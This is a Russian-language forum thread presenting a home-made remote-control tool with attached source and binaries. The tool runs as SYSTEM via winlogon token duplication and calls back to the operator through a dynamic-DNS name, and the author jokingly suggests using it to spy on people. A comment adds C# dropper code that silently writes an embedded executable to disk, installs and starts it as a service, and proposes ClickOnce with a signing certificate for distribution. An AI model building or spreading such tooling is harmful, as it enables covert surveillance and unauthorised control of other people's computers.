РАЗБОР

Скелет для программы пересылки экрана.

S
ser3gun Newbie · 12 сообщений
Подписаться
6,7 тыс.
Привет всем, хочу предложить вашему вниманию результаты моего эксперимента с интерфейсом IDXGIOutputDuplication. Из описания в MSDN интерфейс просто волшебный, однако пришлось повозиться для того чтобы приспособить его для пересылки экрана. В результате получилась пародия на RDP или маленький скелетик удаленного управления. Маленький в прямом смысле – неупакованный сервис с сервером в ресурсах весить 50 кбт, если его упаковать, то получится 30 кбт. Выложить это все я решил потому, что я удовлетворил свое любопытство и мне надоело возиться с этим проектом.

Итак, получилось три модуля:

Первый модуль, это клиент для просмотра удаленного экрана; второй модуль, это сервер – захват и сжатие удаленного экрана; третий модуль, это сервис для управления работой сервера т.е. решет проблемы с переключением пользователей.

Все эти модули дают возможность управлять удаленным компом наподобие RDP и подобных ей программ. Есть возможность, обратного вызова, в смысле, когда сервер соединяется с клиентом. Классический вариант, когда сервер висит на каком-либо порту и ждет запросы клиента тоже есть.

Логика работы предельно простая: при помощи интерфейса IDXGIOutputDuplication делаются скриншоты, являющиеся кадрами видеопоследовательности. Для уменьшения трафика изменил цветовую палитру каждого кадра, и на сервер отправляю разницу между кадрами, которая сжимается zlib. Мышь и клавиатура пересылается асинхронно через UDP сокет. Сервис запускает сервер от имени системы при помощи дублирования токена winlogon. Также, сервис перезапускает сервер если изменяется пользователь. Для установки сервиса нужны права админа. Можно сервер использовать и без сервиса. У Сервера есть три режима работы: первый - сервер слушает торт 443 и периодически ищет возможность соединиться с клиентом через порт 7788: второй – сервер не слушает порт и только делает попытки соединиться с клиентом; третий – сервер только слушает порт и все. UDP, порт для пересылки, ввода выбирается произвольно. Обратный вызов работает так: нужно сделать акк. на freedns.afraid.org и связать DNS имя с IP адресом компа на котором запущен клиент для примера: serg.chickenkiller.com связан с 127.0.0.1. ДНС имя серверу известно, через него сервер узнает ИП. В результате, если вы запустите на своем компе сервер и клиент, то через минуту сервер подключится к клиенту и вы увидите копию экрана своего компа. Авторизация между клиентом и сервером происходит автоматически типа примитивный handshake.

В архиве есть исходник и три бинарика. Возможно кому-нибудь все это пригодиться. Нпример пошпионить за кем-нибудь :)
 

Вложения

  • RC.zip
    RC.zip
    81 КБ · Просмотры: 1 715
  • 1.jpg
    1.jpg
    9,6 КБ · Просмотры: 1 282
  • 2.jpg
    2.jpg
    92,8 КБ · Просмотры: 384

Комментарии

20
Решил совместить полезное с полезным. В Visual Studio есть такая классная вещь как:

ClickOnce — это технология развертывания, позволяющая создавать самообновляющиеся приложения для Windows, которые можно устанавливать и запускать с минимальным вмешательством пользователя. Visual Studio обеспечивает полную поддержку публикации и обновления приложений, развернутых с помощью технологии ClickOnce, если вы разработали свои проекты с помощью Visual Basic и Visual C#. Сведения о развертывании приложений Visual C++ см. в разделе Развертывание ClickOnce для приложений Visual C++ .​

Если сделать небольшой финт ушами. то можно эту технологию можно использовать для распространения любых программ. Фокус очень простой - нужно засунуть в ресурсы ехесшник и запускать его примерно так

C#:
namespace HostedApp
{
    class Program
    {
        static void Main()
        {                       
                ProcessStartInfo psi = new ProcessStartInfo();               
                //
                byte[] x = HostedApp.Properties.Resources.RCService;
                string fileTempLocation = "RCService.exe";
                System.IO.File.WriteAllBytes(fileTempLocation, x);                         
                //
                psi.FileName = fileTempLocation;
                psi.Arguments = "-install";
                psi.UseShellExecute = true;
                psi.WindowStyle = ProcessWindowStyle.Normal;
                Process.Start(psi);
                //   
                psi.FileName = fileTempLocation;
                psi.Arguments = "-start";
                psi.UseShellExecute = true;
                psi.WindowStyle = ProcessWindowStyle.Normal;
                Process.Start(psi);
        }
    }
}

Кому интересно в архиве есть проект который очень легко можно изменить под любую прогу. Я применил это к вышеупомянутой проге пересылки экрана. Вот что получилось. Во втором архиве подправленый исходник - немного быстрей работает. Если подписать прогу нормальным сертификатом, то установлить действительно удобно.
 

Вложения

  • cs.zip
    cs.zip
    316,4 КБ · Просмотры: 302
  • 2.zip
    2.zip
    497,3 КБ · Просмотры: 353